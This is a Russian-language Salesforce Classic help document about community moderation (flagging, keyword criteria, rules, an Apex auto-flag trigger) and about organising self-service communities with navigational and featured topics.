Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция модерирования сообщества позволяет наделять участников сообщества
полномочиями, необходимыми для отслеживания и проверки содержимого на
соответствиеустановленнымтребованиям. Такжеможнонастраиватьправилаикритерии
модерирования для блокирования, присвоения пометок и замены ключевых слов в
содержимом, созданном пользователями, например в записях и комментариях.

Дальнейшее развитие сообщества напрямую зависит от его модерирования. Каждое
сообществодолжносодержатьактивныхмодераторов, готовыхкизнурительнойпроверке
участников и содержимого на наличие полезной информации и соответствие
установленным требованиям. Кроме того, участникам должна быть предоставлена
возможностьвыявлениясодержимого, котороенаихвзглядявляетсянедопустимымили
оскорбительным.

Ниже перечислены действия, доступные после включения функции модерирования сообществ.

• Назначение отдельным пользователям полномочий модератора, необходимых для отслеживания сообщества

• Предоставлениеучастникамправапомечатьзаписи, комментарии, файлыиличныесообщения, которыеонипосчитают
недопустимыми.

• Предоставлениемодераторам возможности просматривать помеченные элементыи выполнять действия (например,
удаление сообщения, комментария или файла).

• Предоставление менеджерам и ответственным за группы возможности модерировать управляемые или собственные
группы

• Создание правил и критериев для автоматического блокирования, присвоения пометок или замены ключевых слов
в содержимом, созданном пользователями, например в записях или комментариях.

• Отслеживание присвоения пометок и активности модерирования в рамках сообщества

Для ограничения размера и типа файлов, разрешенных в сообществе, перейдите на страницу «Администрирование»
> > «Настройки».

Для создания отчета об активности модерирования в сообществах запросите помеченное содержимое или действие
посредствомAPIили создайте настраиваемый типотчета с использованиемобъекта «Сети» в качестве основного. Также
можно установить пакет «Панели мониторинга сообществ Salesforce» для просмотра отчетов «Подробные сведения»,
которые позволят отслеживать модерируемое содержимое сообщества.
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Еслинеобходимосоздатьнастраиваемуюрасширеннуюлогикумодерированиядля сообщества, можносоздать триггеры,
помечающие содержимое. Настраиваемые триггеры работают в фоновом режиме и не требуют открытого доступа
пользователей для присвоения пометок.

СМ. ТАКЖЕ:

Назначение модератора сообщества

Включение функции присвоения пометок для пользователей сообщества

Модерирование сообщений и комментариев в сообществе

Модерирование файлов в сообществе

Модерирование личных сообщений в сообществе

Создание критериев модерирования для сообщества

Создание правил модерирования для сообщества

Включение функции присвоения пометок для пользователей сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
присвоения пометок для
пользователей сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Чтобы разрешить участникам сообщества помечать сообщения, комментарии, файлы
и личные сообщения, которые, на их взгляд, являются недопустимыми, включите
функцию присвоения пометок.

Прежде чем разрешить участникам помечать содержимое в пользовательском
интерфейсе, рекомендуем включить функцию модерирования сообщества. Если
соответствующий параметр не отображается, обратитесь к администратору.

Данныйпараметр не требуется для присвоения пометок илимодерирования элементов
посредством API.

Помеченный элемент может быть просмотрен и обработан модератором сообщества.
Кроме того, отключение функции присвоения пометок для участников сообщества не
препятствует присвоению пометок модераторами.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Настройки» и
установите флажок «Разрешить участникам помечать содержимое».

3. Нажмите кнопку «Сохранить».

Ниже перечислены действия, доступные после включения данного параметра в
сообществе.

• Участникимогутпомечатьсообщения, комментарииифайлыпосредствомпараметра
«Пометить как недопустимое».

• Пользователимогут помечать личные сообщения в рамках сообществана странице «Моисообщения» вChatter. Если
участник включил уведомления по электронной почте, он также сможет помечать сообщения прямо из своего
электронного ящика. Участники могут помечать только сообщения из сообщества, в котором они состоят.
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Прим.: На клиентских или партнерских порталах, во внутренней организации или из Salesforce1 помечать
личные сообщения невозможно.

• Менеджеры и ответственные за группы могут модерировать управляемые или собственные группы.

Еслинеобходимосоздатьнастраиваемуюрасширеннуюлогикумодерированиядля сообщества, можносоздать триггеры,
помечающие содержимое. Настраиваемые триггеры работают в фоновом режиме и не требуют открытого доступа
пользователей для присвоения пометок.

Если сообщество использует шаблон на основе конструктора сообществ, то раздел «Помеченныефайлы» не будет
отображатьсяна странице «Управлениесообществом»дажепривключениипараметра «Разрешить участникам помечать
содержимое». Чтобы отобразить раздел «Помеченныефайлы», установите флажок «Показать все параметры на
странице управления сообществом» на странице «Настройки».

СМ. ТАКЖЕ:

Общие сведения о модерировании сообществ

Назначение модератора сообщества

Модерирование сообщений и комментариев в сообществе

Модерирование файлов в сообществе

Модерирование личных сообщений в сообществе
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Создание критериев модерирования для сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, просмотра,
редактирования или
удаления критериев:
• “«Управление

сообществами» ИЛИ
«Создание и настройка
сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Создание критерия, улавливающего оскорбительную лексику или недопустимое
содержимое в сообществе. Критерии используются в правилах для модерирования
содержимого, созданного пользователями, например записей и комментариев.

Для установки списков ключевых словможноиспользоватьMetadata APIили Tooling API.

Ниже перечислены некоторые рекомендации.

• В списке критериев вашей организации может содержаться до 30 ключевых слов.
Это ограничение действует для организации, а не для сообщества.

• В списке ключевых слов может быть до 2 000 записей.

• Регистр и конечные знаки препинания при сопоставлении ключевых слов с
содержимым, созданным пользователем, игнорируются. Например, если в вашем
критериисодержится запись «ПлохоеСлово», онобудетопределенопривводе записи
«ПЛОХОЕСЛОВО» или «плохоеслово».

Настройка критериев для использования в правилах модерирования

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Последовательно нажмите «Модерирование» > «Критерии».

3. Нажмите кнопку «Создать».

4. Введите имя, уникальное имя и описание для данного критерия.

5. Нажмите кнопку «Сохранить».

6. Обновление ключевых слов в критерии.

Чтобы добавить ключевые слова, нажмите кнопку «Добавить».

• Ключевые слова могут состоять максимум из 100 символов и содержать буквы,
числа, пробелы и специальные символы.

• Специальные символы не поддерживаются.

• Ключевые слова разделяются запятыми или разрывами строки.

• При добавлении ключевых слов можно одновременно копировать и вставлять до 32 000 символов.

Совет: Для охвата различных вариантов одного и того же слова можно использовать специальные символы и
пробелы. Например:

плохое-слово

пл@хоеслово

п л о х о е с л о в о

Чтобы удалить ключевые слова, выберите нужные ключевые слова и нажмите кнопку «Удалить».

В сообщении будет указано, сколько ключевых слов удалось и не удалось добавить, а также сколько дублей
проигнорировано. Если не удалось сохранить всю запись, просмотрите требования к ключевым словам и повторите
попытку. Случайно добавленные дубли будут проигнорированы.
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Чтобы удалить критерий, нажмите кнопку «Удалить» на странице «Критерий». Если критерийиспользуется правилом,
его удаление невозможно.

СМ. ТАКЖЕ:

Общие сведения о модерировании сообществ

Создание правил модерирования для сообщества

Создание правил модерирования для сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, просмотра,
редактирования и удаления
правил:
• “«Управление

сообществами» ИЛИ
«Создание и настройка
сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Созданиеиизменениеправилсообществадлямодерированиясодержимого, созданного
пользователями. Каждое правило указывает на то, к какому содержимому, созданному
пользователями, оноприменяется, накритерийдляактивацииправилаинанеобходимые
действия модерирования. Можно создать правило, которое блокирует, присваивает
пометки или заменяет содержимое, созданное пользователями, с оскорбительной
лексикой или недопустимым содержимым.

Если сообщество использует шаблон Napili, правила модерирования применяются к
вопросам, созданным участниками сообщества.

Для установкиправилмодерированияможноиспользоватьинтерфейсMetadata APIили
Tooling API.

Ниже перечислены некоторые рекомендации.

• Ваша организация может установить до 30 правил. Это ограничение действует для
организации, а не для сообщества.

• В каждом правиле может быть максимум три критерия.

• Сначалазапускаютсяправила, блокирующиесодержимое, затемправила, заменяющие
его, а затем правила, помечающие контент. Если одно действие выполняется двумя
правилами, первым запускается более раннее правило.

Совет: Прежде чем создавать правило, убедитесь, что созданы критерии для этого
правила.

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Последовательно нажмите «Модерирование» > «Правила».

3. Нажмите кнопку «Создать».

4. Заполните поля ниже.

• Имя: введите имя правила.

• Уникальное имя: введитеуникальноеимяправила. Уникальноеимя, используемоеинтерфейсом API иуправляемыми
пакетами.

• Описание: при необходимости введите описание.

• Применимо к: укажите, к какимтипамсодержимого, созданногопользователями, этоправилодолжноприменяться.
Обрабатываются только записиикомментариииз содержимого, созданногов группахипрофиляхпользователей.
Поддерживаются все типы ленты, например опросы и ссылки.
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• Критерий: выберите критерий для запуска этого правила.

Важное замечание: Если активировать правило без указанных критериев, оно либо будет помечать все
записиикомментарии, либонепозволитпользователямвообщесоздавать записиикомментарии. Ой! Будьте
осторожны.

• Действие модерирования: укажите, что должно происходить после срабатывания критерия.

– Блокирование не позволяет опубликовать содержимое.

– Замена публикуетсодержимое, заменивключевыеслованазвездочки (*). Например, «ПлохоеСлово» превращается
в *******.

– Пометка публикует и автоматически помечает содержимое как недопустимое.

• Сообщение для пользователя: укажите, чтодолжноотображаться упользователяприблокированииегоконтента.
Если не указать сообщение, пользователю отобразится стандартный текст: «Нельзя использовать
%BLOCKED_KEYWORD% или другие неподходящие слова в сообществе. Измените содержимое и повторите
попытку».Переменная %BLOCKED_KEYWORD% отображает до пяти заблокированных слов. Эту переменную
можно также использовать в собственном настраиваемом сообщении.

Совет: Для международных сообществ можно перевести это пользовательское сообщение. Введите строку
«Перевод» в поле «Быстрый поиск» меню «Настройка» и выберите «Перевести». Для перевода
пользовательского сообщения выберите компонент настройки «Правило модерирования» и раскройте
сообщество, к которому относится правило.

• Активировать правило: правило активируется, если этот флажок установлен.

5. Чтобы применить внесенные изменения, нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о модерировании сообществ

Создание критериев модерирования для сообщества

Как и когда выполняются правила модерирования сообщества?

Ввод переведенных терминов

Как и когда выполняются правила модерирования сообщества?
Сначала выполняются правила, блокирующие содержимое, затем правила, заменяющие содержимое, а затем правила,
помечающие содержимое. При выполнении одинакового действия как минимум двумя правилами сначала выполняется
более старое правило.Правила модерирования сообщества поддерживают текущие триггеры. При выполнении правил
модерирования сообщества на сервере система Salesforce использует стандартный порядок выполнения.

Правила, блокирующие содержимое, выполняются во время проверки системы. Правила, блокирующие содержимое,
пропускают изменения, внесенные триггерами before. Например, если триггер before изменяет сообщение ленты,
топравиломодерирования, блокирующеесодержимое, пропускаетизмененноесодержимоеивыполняетсядляисходного
содержимого.

Правила, заменяющие содержимое, выполняются перед сохранением базы данных.
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Правила, помечающие содержимое, выполняются после бизнес-правил.

СМ. ТАКЖЕ:

Создание правил модерирования для сообщества

Руководство разработчика Apex: триггеры и порядок выполнения

Модерирование сообщений и комментариев в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра помеченных
элементов и удаления
пометок, сообщений или
комментариев:
• “«Модерирование лент

сообществ»

Дляпросмотрапомеченного
содержимого на странице
«Управление сообществом»
и удаления пометок,
сообщений или
комментариев:
• “«Модерирование лент

сообществ»

И

“«Управление
сообществами» ИЛИ
«Создание и настройка
сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Модераторысообществамогутпросматриватьленту «Помеченныесообщения», которая
содержит список сообщений и комментариев, помеченных участниками сообщества
какнедопустимые, ивыполнятьсоответствующиедействия. Менеджерилиответственный
за группу может просматривать пометки и выполнять действия над элементами в
собственных группах.

Помеченные сообщенияи комментарииобозначаютсямаленькиморанжевым значком
напротив даты публикации сообщения или комментария. Число, отображающееся
напротивпометки, указываетнаколичествопользователей, пометившихданныйэлемент.
Модераторможетпросматриватькаждыйэлементиприниматьрешениеонеобходимости
выполнения действий.

Нижеперечисленынекоторыерекомендациипоиспользованиюпомеченныхэлементов.

• Модераторы могут просматривать и обрабатывать только доступные элементы.

• При необходимости менеджеры или ответственные за группы сообщества могут
модерировать элементы в собственных группах, включая просмотр или удаление
пометок, а также удаление сообщений, комментариев или файлов. Лента
«Помеченные сообщения» не отображается данным пользователям на странице
«Управление сообществом».

• Сообщество, параметр «Разрешить участникам помечать содержимое» которого
отключен, позволяет помечать элементы и просматривать помеченные элементы
только модераторам.

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Чтобыпросмотретьлентупомеченныхсообщенийикомментариев, последовательно
выберите пункты «Модерирование» > «Помеченные сообщения».

3. Чтобы удалить недопустимое сообщение или комментарий, щелкните «Удалить».
Чтобы удалить пометку, присвоенную сообщению или комментарию по ошибке,
щелкните «Удалить пометки».

4. Нажмите кнопку «OK».

При необходимости выполните модерирование прямо в контексте сообщества путем
удаления пометок или содержимого в ленте.
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Совет: Чтобыполучать электронноеуведомлениеокаждомэлементе, помеченномвсообществе, установитефлажок
«Помечает элемент как недопустимый» на странице «Параметры эл. почты».

СМ. ТАКЖЕ:

Общие сведения о модерировании сообществ

Включение функции присвоения пометок для пользователей сообщества

Модерирование файлов в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
сведений о файле и
удаления пометок или
файлов:
• “«Модерирование

файлов сообществ»

Для просмотра помеченных
файлов на странице
«Управление сообществом»
и удаления пометок или
файлов:
• “«Модерирование

файлов сообществ»

И

“«Управление
сообществами» ИЛИ
«Создание и настройка
сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Модераторы сообщества могут просматривать список «Помеченные файлы», который
содержитфайлы, помеченныеучастникамисообщества какнедопустимые, ивыполнять
соответствующие действия. При необходимости менеджеры или ответственные за
группымогутпросматриватьпометкиивыполнятьдействиянадфайламив собственных
группах.

Участники сообщества могут публиковать файлы, являющиеся недопустимыми ввиду
наличия конфиденциальных данных или оскорбительного содержимого. Другие
участникисообществамогутпомечатьданныефайлыдляпроверки. Помеченныефайлы
обозначаются маленьким оранжевым значком. Число, отображающееся напротив
пометки, указывает на количество пользователей, пометивших данный элемент.

Модераторы могут просматривать и удалять файлы только из доступных сообществ.

Сообщества, параметр «Разрешить участникам помечать содержимое» которых
включен, позволяютменеджерамиответственнымза группысообществапросматривать
и удалять пометки для файлов из собственных и управляемых групп. Сообщество,
параметр «Разрешить участникам помечать содержимое» которогоотключен, позволяет
помечать элементы и просматривать помеченные элементы только модераторам.

Если сообщество использует шаблон на основе конструктора сообществ, то раздел
«Помеченныефайлы»небудетотображатьсяна странице «Управлениесообществом»
дажепривключениипараметра «Разрешить участникам помечать содержимое». Чтобы
отобразитьраздел«Помеченныефайлы», установитефлажок «Показать все параметры
на странице управления сообществом» на странице «Настройки».

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Чтобыпросмотреть списокпомеченныхфайлов, последовательновыберитепункты
«Модерирование» > «Помеченныефайлы».

3. Чтобы удалить пометку, присвоеннуюфайлу по ошибке, выберите «Удалить
пометки» из раскрывающегося меню в столбце «Действие». Чтобы удалить
недопустимыйфайл, выберите «Удалить».

Чтобы открыть файл для предварительного просмотра без закрытия страницы,

щелкните значок .

4. При необходимости нажмите кнопку «OK».
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Принеобходимостивыполнитемодерированиепрямовконтексте сообществапутемудаленияпометокилисодержимого
на странице сведений о файле.

Совет: Чтобыполучать электронноеуведомлениеокаждомэлементе, помеченномвсообществе, установитефлажок
«Помечает элемент как недопустимый» на странице «Параметры эл. почты».

Для ограничения размера и типа файлов, разрешенных в сообществе, перейдите на страницу «Администрирование»
> > «Настройки».

СМ. ТАКЖЕ:

Общие сведения о модерировании сообществ

Включение функции присвоения пометок для пользователей сообщества

Модерирование личных сообщений в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для модерирования личных
сообщений и удаления
помеченных личных
сообщений:
• “«Модерирование

сообщений сообществ
Chatter» ИЛИ
«Управление
сообщениями Chatter»

Дляпросмотра содержимого
помеченных личных
сообщений:
• «Управление

сообщениями Chatter»

Модераторысообществамогутпросматриватьиобрабатыватьсписокличныхсообщений
Chatter, помеченных участниками сообщества как недопустимые или спам.

Полномочие «Модерированиесообщенийсообществ Chatter» позволяетпользователям
осуществлять модерацию личных сообщений только в тех сообществах, участниками
которых они являются. Это полномочие не позволяет просматривать содержимое
сообщений. Для просмотра содержимого личных сообщений требуется полномочие
«Управление сообщениями Chatter». Это полномочие позволяет модератору
просматривать все личные сообщения в организации Salesforce.

Важное замечание: Обратите внимание на ограничения ниже.

• Модераторы могут использовать только SOAP API для снятия пометки или
удаления помеченных личных сообщений.

• Участники сообщества не могут помечать личные сообщения, отправленные
из сообществ, участниками которых онине являются, или сообществ, которые
не поддерживают присвоение пометок.

• Пользователинемогутпомечатьличныесообщениявовнутреннейорганизации
и приложении Salesforce1, а также на партнерских и клиентских порталах.

Ниже перечислены некоторые способы отслеживания помеченных сообщений в
сообществах и управления ими.

• Используйте предварительно настроенный отчет «Подробные сведения».

Данный отчет «Подробные сведения» на странице «Управление сообществом»
помогаетотслеживатьтекущиетенденциииконтролироватьнежелательныерассылки
личных сообщений в сообществе. При необходимости просмотрите отправителя
сообщения, дату отправки и пользователя, пометившего сообщение. Возьмите этот
отчет за основу, затем с помощью API-интерфейса снимите пометки или удалите
сообщения.

Дополнительнуюинформациюоданномпакете см. вразделе «Составлениеотчетов
по сообществам посредством пакета панелей мониторинга и отчетов Insights».

• Создайте собственный отчет.

Сначала создайте типнастраиваемогоотчета, гдеобъект «Сети» используется в качествеосновного, а объект «Аудиты
сети» — в качестве дополнительного. Затем создайте отчет на основе нового типа настраиваемого отчета и добавьте
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фильтрполя, где параметру «Тип аудируемого объекта» соответствует значение «Сообщение Chatter». Удалите
помеченные сообщения с помощью API-интерфейса.

• Напрямую запросите помеченные сообщения из API-интерфейса, затем удалите их.

Совет: Чтобы получать электронное уведомление о каждом личном сообщении, помеченном в сообществе,
установитефлажок «Помечает элементкакнедопустимый» на странице «Параметры эл. почты». Для получения
сообщений электронной почты требуются полномочия «Модерирование сообщений сообществ Chatter» и
«Модерирование лент сообществ». Чтобы настроить параметры электронной почты, откройте страницу профиля

в сообществе, нажмите раскрывающуюся кнопку ( ) в верхнем правом углу страницы, выберите пункт «Мои
параметры» ищелкните «Параметры эл. почты».

СМ. ТАКЖЕ:

Общие сведения о модерировании сообществ

Рекомендации по удалению пользовательских сообщений Chatter

Руководство разработчика SOAP API: ChatterMessage

Руководство разработчика Apex: модерирование личных сообщений Chatter посредством триггеров

Настройка триггеров Apex для присвоения пометок элементам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания триггеров:
• «Изменение всех

данных»

С помощью триггеров можно создавать настраиваемую расширенную логику
модерирования, которая будет автоматически помечать элементы сообщества.

Совет: Знаете ли вы, что это можно делать в пользовательском интерфейсе?
Большинству сообществ не требуются настраиваемые триггеры модерирования.
Создавать правила и критерии модерирования можно непосредственно в
управлении сообществом. Подробнее см. в разделе «Создание правил
модерирования для сообщества».

Использованиетриггеровдляавтоматическогоприсвоенияпометокэлементампозволяет
модерировать сообщество в фоновом режиме. Эти пометки отображаются только
модераторам. Пользователи могут просматривать пометки в ленте «Помеченные
сообщения» настранице «Управлениесообществом», запрашиватьпометкипосредством
интерфейса API или использовать типы настраиваемых отчетов для создания отчетов
по помеченным элементам, пользователям с наибольшим количеством помеченных
элементов и т. д.

Ниже перечислены рекомендации по созданию триггеров.

• Создайте триггеры Apex с событием «after insert» для объекта FeedItem, FeedComment,
ChatterMessage или ContentDocument.

• Определитекритерий, которыйпривыполнениисоздает запись (пометку) NetworkModeration, гдеобъект FeedComment,
FeedItem, ChatterMessage или ContentDocument является родительским.

Пример: Данный триггер автоматически помечает сообщения сообщества, содержащие BadWord.

trigger autoflagBadWord on FeedItem (after insert) {
for (FeedItem rec : trigger.new) {

if (!<CommunityId>.equals(rec.networkScope))
continue;
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if (rec.body.indexOf('BadWord') >= 0) {
NetworkModeration nm = new NetworkModeration(entityId=rec.id,

visibility='ModeratorsOnly');
insert(nm);

}
}

}

Аналогичный триггер для комментариев будет выглядеть следующим образом.

trigger autoflagBadWord on FeedComment (after insert) {
for (FeedComment rec : trigger.new) {

if (!<CommunityId>.equals(rec.networkScope))
continue;

if (rec.commentBody.indexOf('BadWord') >= 0) {
NetworkModeration nm = new NetworkModeration(entityId=rec.id,

visibility='ModeratorsOnly');
insert(nm);

}
}

}

СМ. ТАКЖЕ:

Руководство разработчика SOAP API

Систематизация сообществ для самообслуживания посредством тем

Систематизация сообществ для самообслуживания посредством тем
Темы — отличный способ систематизации содержимого в любом сообществе. Участники сообщества могут добавлять
темы в сообщения и дискуссии, а также согласованно структурировать содержимое. При настройке сообщества для
самообслуживания посредствомшаблона Napili рекомендуем использовать страницу «Управление сообществом» для
быстрого поиска ключевых навигационных и специальных тем.

Страница «Управление сообществом» позволяет выбирать навигационные темы и подтемы для создания единой карты
сообщества и специальные темы для выделения текущих популярных обсуждений. В самом сообществе персональные
темы позволяют пользователям систематизировать данные друг для друга, повышая заинтересованность участников
путем индивидуализации сообщества.

В сообществе для самообслуживания шаблон Napili определяет макет и дизайн навигационных, специальных и
персональных тем. Ниже приведены наглядные примеры каждого типа в активном сообществе.

Совет: Чтобы добавить навигационные и специальные темы в сообщества других типов, разработчики Apex могут
использовать класс ConnectApi.ManagedTopics на странице Visualforce.

Навигационные темы
Навигационные темы доступны посредством меню «Темы», расположенного в верхнем левом углу каждой страницы
сообщества для самообслуживания. Участники сообщества могут также просматривать все навигационные темы и
вложенные темы сообщества в одном месте в каталоге тем.
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Выбор навигационной темы посетителем инициирует отображение соответствующего баннера вверху страницы.

Специальные темы
Специальные темы доступны посредством начальной страницы сообщества. Каждой специальной теме соответствует
уникальная выбранная миниатюра. (Данные уникальные миниатюры отображаются только на начальной странице;
вверху всех страниц специальных тем отображается стандартный баннер, выбранный в конструкторе сообществ.)
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Персональные темы
При публикации вопросов участники сообщества создают темы путем использования хэштегов в основном тексте или
заполнения поля предложенных тем ниже. (Полномочия «Назначение тем» и «Создание тем» должны быть включены
для пользователей сообщества в меню «Настройка».)

При необходимости участники могут удалять предложенные темы, которые не соответствуют текущему сообщению.

Совет: Персональные темы могут быть доступны посредством поиска или отображаться как специальные темы на
странице «Управление сообществом».

СМ. ТАКЖЕ:

Настройка навигационных тем

Настройка специальных тем

Управление темами в сообществах
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Настройка навигационных тем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
«Управление сообществом»:
• “«Управление

сообществами»

ИЛИ

“«Создание и настройка
сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Для настройки
навигационных тем:
• «Создание тем»

И

«Редактирование тем»

Для добавления статей в
темы:
• «Просмотр категорий

данных»

И

«Чтение» для связанных
типов статей

Систематизация содержимого сообщества и упрощение поиска за счет использования
навигационных тем. Если организация использует категории данных, то менеджеры
сообщества могут добавлять текущие статьи Salesforce Knowledge, связанные с этими
категориями, для каждой навигационной темы. (При отсутствии категорий данных
администраторы могут добавлять статьи в каждую тему с помощьюинтерфейса Chatter
REST API.)

1. Введите строку «Темы для объектов» вполе «Быстрый поиск» вменю «Настройка»,
выберите пункт «Темы для объектов» и включите темы для всех требуемых типов
статей.

Прим.: Включение тем инициирует выключение общедоступных тегов для
статей. Личные теги не изменяются.

2. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

3. Последовательно выберите пункты «Темы» > «Навигационные темы».

4. Введите имя темы в текстовое поле справа и нажмите кнопку «Добавить».
Необходимо добавить подтемы? После добавления темы выберите тему из
раскрывающегосяменю (в разделе «Отображать вложенные темы»). Для добавления
вложенной темы добавьте другую тему и нажмите «Добавить». Для каждой
родительской темы можно добавить до двух уровней вложенных тем.

5. Если организация использует категории данных, наведите указатель мыши на имя
нужной навигационной темы ищелкните значок . Выберите нужную группу
категорий данных, а затем выберите нужные категории ищелкните «Добавить
статьи и закрыть окно».

Важное замечание: Данныйпроцессдополняеттемутолькотекущимистатьями.
Чтобы добавить новые статьи, откройте страницу «Управление сообществом»
и повторите указанное выше действие.

6. Наведите указатель мыши на имя нужной темы ищелкните значок . Затем
щелкните«Загрузитьизображениедлябаннера»ивыберитеизображение, которое
должно отображаться вверху страницы темы.

(Изображенияуменьшаютсядоразмера 1 400 х 180 пикселов. Воизбежаниеискажения,
рекомендуемпридерживатьсяданныхразмеровприсозданииграфическихфайлов.)

7. Чтобысоздать другиенавигационныетемыдля сообщества, повторитедействия 4–6.
Затем нажмите кнопку «Сохранить».

8. Используйте подтемы для дополнительного упорядочивания содержимого по
категориям. Ассоциируйте статьи каждой группы подтем для более детальной
организации.
Ниже приведено максимальное число навигационных тем и вложенных тем, которые может содержать шаблон
сообщества Napili.
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Максимальное количество записейУровень

25Одна (родительская)

10Две (вложенная тема)

10Три (вложенная тема)

Совет: Чтобы быстро изменить текущие навигационные темы, наведите указатель мыши на имя нужной темы и
выполните любое из указанных ниже действий.

• Чтобы изменить порядок отображения темы, воспользуйтесь стрелками слева.

• Чтобы переименовать или удалить тему, изменить ее изображение либо удалить назначенные статьи, щелкните .

СМ. ТАКЖЕ:

Систематизация сообществ для самообслуживания посредством тем

Управление темами в сообществах

Отображение тем и вложенных тем сообщества в одном месте

Отображение тем и вложенных тем сообщества в одном месте
Перед этим была изучена всеобъемлющая задача добавления тем и различных уровней вложенных тем в содержимое
сообщества. Теперь рассмотрим задачу отображения участникам сообщества всех организованных тем в одном месте,
чтобыможнобылоперейтиклюбойнужнойтеме. Этонесложно. Будутотображенывсепунктывкаталоге темсообщества.

Каталог тем отображает иерархию созданных навигационных тем сообщества. Каталог тем отображается только после
установки навигационных тем. Доступ к нему осуществляется через меню навигации.

Чем каталог тем может быть полезен участникам сообщества?

• Все организованные темыотображаются для новыхи вернувшихся пользователей в одномместе, обеспечивая общее
представление перед переходом к конкретной теме.

• Любой пользователь сообщества может использовать каталог тем для перехода о темы к теме.

Чтобы настроить каталог тем, щелкните ссылку «Добавить разделы... » при редактировании меню навигации на
начальной странице.

Пример:
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СМ. ТАКЖЕ:

Настройка навигационных тем
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Настройка специальных тем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
«Управление сообществом»:
• “«Управление

сообществами»

ИЛИ

“«Создание и настройка
сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Для настройки специальных
тем:
• «Редактирование тем»

Специальные темы позволяют выделять текущие популярные обсуждения сообщества.
Благодаря их регулярному изменению, система позволяет обновлять и привлекать
участников сообщества.

1. Щелкните значок в общем верхнем колонтитуле сообщества.

2. Последовательно выберите пункты «Темы» > «Специальные темы».

3. Выберитенужнуюнавигационнуюилиперсональнуютемуиз всплывающегоменю
справа. Затем нажмите кнопку «Добавить».

Совет: Чтобы создать уникальные специальные темы, воспользуйтесь
интерфейсом Chatter REST API.

4. Наведите указатель мыши на имя нужной темы ищелкните значок . Затем
щелкните «Загрузить изображение для миниатюры» и выберите изображение,
которое должно соответствовать специальной теме на начальной странице
сообщества.

(Изображенияуменьшаютсядоразмера 250 х 250 пикселов. Воизбежаниеискажения,
рекомендуемпридерживатьсяданныхразмеровприсозданииграфическихфайлов.)

5. Чтобысоздатьдругиеспециальныетемы (максимум 25 тем) длясообщества, повторите
действия 3–4 и нажмите кнопку «Сохранить».

Чтобы быстро изменить текущие специальные темы, наведите указатель мыши на имя
нужной темы и выполните любое из указанных ниже действий.

• Чтобы изменить порядок отображения темы, воспользуйтесь стрелками слева.

• Чтобы переименовать или удалить тему, либо изменить ее изображение, щелкните
значок .

СМ. ТАКЖЕ:

Систематизация сообществ для самообслуживания посредством тем

Управление темами в сообществах

Управление темами в сообществах

ВЕРСИИ

Доступно в версиях:
